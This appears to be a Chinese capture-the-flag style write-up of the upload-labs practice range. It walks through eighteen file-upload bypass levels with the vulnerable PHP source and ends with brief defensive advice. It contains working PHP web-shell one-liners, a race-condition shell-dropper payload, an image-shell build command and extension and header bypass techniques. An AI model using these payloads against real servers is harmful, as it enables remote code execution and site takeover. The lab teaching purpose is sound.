GitHub:GitHub - Tj1ngwe1/upload-labs: 一个帮你总结所有类型的上传漏洞的靶场
把下好的文件夹之间拖入到小皮的WWW目录下就可以之间访问网址使用了
目录
Pass-01(前端JS的绕过)
(1)抓包绕过
(2)在前端绕过
Pass-02(content-type绕过)
Pass-03(特殊后缀绕过php3、php5)
Pass-04(.htaccess文件绕过)
什么是.htaccess文件
Pass-05(.user.ini绕过)
大小写绕过
空格绕过
Pass-06(大小写绕过)
Pass-07(空格绕过)
Pass-08(后缀加点绕过)
Pass-09($DATA绕过)
Pass-10(点空格点绕过)
Pass-11(双写绕过)
Pass-12(%00绕过)
Pass-13(0x00截断)
Pass-14(字节表示绕过)
补充文件字节标识
Pass-15(图片马绕过)
Pass-16(同15关)
Pass-17(二次渲染)
Pass-18(条件竞争绕过)
总结
Pass-01(前端JS的绕过)
(1)抓包绕过
我们上传一个一句话木马,格式改为JPG
<?php
@eval($_POST['a']);
?>
我们进行抓包
我们在进行修改我们上传的文件jpg改为php,因为这个数据包已经经过了前端的一个验证,在修改就没有问题了
新标签页打开图像
代表我们的后门上传成功,我们打开一个后门连接工具,我使用的是蚁剑进行连接
添加之后我们点击就可以看到服务器的盘目录等进行一系列操作
(2)在前端绕过
查看源码
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
function checkFile() { ... }
:这是一个名为checkFile
的JavaScript函数,它用于检查用户选择的文件是否符合要求。var file = document.getElementsByName('upload_file')[0].value;
:这一行代码通过document.getElementsByName
方法获取页面上名称为upload_file
的元素的值,通常是一个文件路径。注意,获取到的是文件的路径而不是文件对象本身。if (file == null || file == "") { ... }
:这个条件判断语句检查用户是否选择了文件。如果用户未选择文件,将会弹出一个警告框提示用户选择文件,并且函数返回false
。var allow_ext = ".jpg|.png|.gif";
:这一行定义了允许上传的文件类型,以竖线|
分隔。当前允许上传的文件类型是 JPG、PNG 和 GIF 格式的文件。var ext_name = file.substring(file.lastIndexOf("."));
:这一行提取了用户选择文件的扩展名。它搜索文件路径中最后一个点号.
的位置,并获取该点号之后的字符串作为文件的扩展名。if (allow_ext.indexOf(ext_name) == -1) { ... }
:这个条件判断语句检查用户选择的文件扩展名是否在允许的范围内。如果用户选择的文件类型不在允许的类型列表中,将会弹出一个警告框,告知用户当前文件类型不允许上传,并显示允许上传的文件类型,然后函数返回false
。- 最后,如果用户选择的文件通过了上述所有检查,函数将返回
true
,表示文件符合要求可以上传。
我们之间禁用JavaScript,将文件改回php再次上传试试。
可以之间上传
Pass-02(content-type绕过)
上传一个和第一关一样的一句话木马抓包尝试,发现可以抓到包,说明验证是在后端,第一关在前端。
我们正常上传一个JPG文件发现可以上传
抓包发现删掉这个属性,就无法上传成功
说明后端是通过这个content-type属性来判断文件类型的,我们就可以修改这个属性来绕过
抓包看看php属性,改成图片的属性 image/jpeg
看到成功了
Pass-03(特殊后缀绕过php3、php5)
我们可以上传例如php3, phtml后缀的文件绕过
Pass-04(.htaccess文件绕过)
查看源码,发现ban掉了这么多,但是有一个文件没有ban掉就是.htaccess文件
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
什么是.htaccess文件
.htaccess
是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess
文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess
文件会被Apache Web服务器软件检测并执行。这些.htaccess
文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。
.htaccess
文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride
指令来设置。
那我们就直接上传一个这样的文件上去内容为
AddType application/x-httpd-php .jpg .txt
就是当服务器收到请求时,如果请求的文件扩展名是 .jpg 或者 .txt,它将以 PHP 的方式来解释执行这些文件
完成
Pass-05(.user.ini绕过)
查看源码,发现.htaccess也被ban了
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
这里我们使用.user.ini它其实和.htaccess差不多
写一个.user.ini的文件内容为
auto_prepend_file=111.jpg
在这个指令中,文件名是 111.jpg
,这个文件将会在每个 PHP 脚本执行之前自动包含其内容。
先上传.user.ini文件在上传一句话木马,就可以绕过
大小写绕过
本关也可以通过改变大小写进行绕过改为.Php
空格绕过
过抓包在.php文件后面增加一个空格来进行上传绕过
Pass-06(大小写绕过)
查看源码
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
抓包修改直接上传.PHp进行绕过
Pass-07(空格绕过)
查看源码对比上一关减少了一个空格
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
抓包修改111.php(此处空格)
Pass-08(后缀加点绕过)
查看源码
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
抓包修改web.php.
Pass-09($DATA绕过)
补充:额外数据流
在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是Windows·NT·文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加"::$DATA"来访问。←
例如,"1.txt"是一个文件,而"1.txt::$DATA"是这个文件的一个附加数据流。这样的数据流可以用于存储文件的元数据、备份信息、标签等;
我们正常添加::data在windows中是不合法的,所以我们抓包上传的时候添加,windows认为不合法的文件后缀就会自动删掉,文件又变成了原来的文件,进行绕过
打开只需要把后面的::$data删掉就可以用蚁剑进行连接了
Pass-10(点空格点绕过)
抓包文件后缀写入. .进行绕过
Pass-11(双写绕过)
查看源码
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
Pass-12(%00绕过)
查看源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
?>
上传一个.jpg文件抓包进行修改绕过/index.php?save_path=../upload/1.php%00 HTTP/1.1
失败了,我们使用的环境是5.3.29,超过了漏洞触发最低版本5.2,故无法实现复现。
Pass-13(0x00截断)
查看源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
?>
抓包添加1.php(空格)然后在hex将20修改为00放行
Pass-14(字节表示绕过)
补充文件字节标识
JPEG/JFIF(常见的照片格式):头两个字节为·0xFF·0xD8。
PNG(无损压缩格式):头两个字节为·0x89·0x50。
GIF(支持动画的图像格式):头两个字节为·0x47·0x49。
BMP(Windows 位图格式):头两个字节为0x42·0x4D。
TIFF(标签图像文件格式):头两个字节可以是不同的数值。
查看源码
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
?>
打开一句话木马将前两位修改为89 50标识位
直接上传
Pass-15(图片马绕过)
查看源码
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
?>
生成图片马
copy shell.png/b + 1.php ytdd.png
成功
进行解析
Pass-16(同15关)
Pass-17(二次渲染)
源码
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
?>
比较原本的文件和经过php渲染过后的文件针对未修改的文件部分写入木马来进行绕过直接cv过去
上传一个文件,然后在服务器端把这个经过php渲染过后的文件拿下来对比,未经过渲染的部分我们植入一句话木马进行绕过
在上传经过渲染过后的文件上传,用蚁剑连接
Pass-18(条件竞争绕过)
源码分析
if(isset($_POST['submit'])){
//定义白名单
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
//截取文件后缀
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
//先将文件移动到上传路径
if(move_uploaded_file($temp_file, $upload_file)){
//判断是否在白名单内部 如果是则重命名放置到文件夹内部
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
//判断非法文件直接进行删除
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
if(move_uploaded_file($temp_file, $upload_file)){
文件移动函数:临时文件到服务器
上传文件,绕过防护之后,小马又会被立马删除。但是由于条件竞争,我们可以利用脚本不断访问生成小马的 php,文件,这样就形成了脚本和 web 删除程序之间的竞争,一定的测试量后,可以竞争到资源,成功生成小马 php 文件执行 shell。
生成小马语句
<?php fputs(fopen('shell.php','w’),'<?php @eval($ POST["a"])?>');?>
上传这个小马,抓包
发送到攻击模块,清除占位符
在传递一个参数
攻击
开始
抓一个2.php的包
放到攻击模块,开始攻击
等一段时间。。。。
测试已经成了。
总结
防范文件上传漏洞的方法:
- 对上传文件进行严格的类型验证和内容验证。
- 设置适当的文件大小限制。
- 避免将上传的文件存储在可公开访问的目录中。
- 为上传文件生成唯一的文件名,避免文件覆盖漏洞。
- 将上传的文件存储在非Web可访问的目录中,以防止目录遍历攻击。
- 在上传后,适当地处理文件,如修改权限、检查文件类型等。
- 定期对Web应用程序进行安全审计和漏洞扫描也是发现和修复文件上传漏洞的有效方法
文件上传漏洞思路: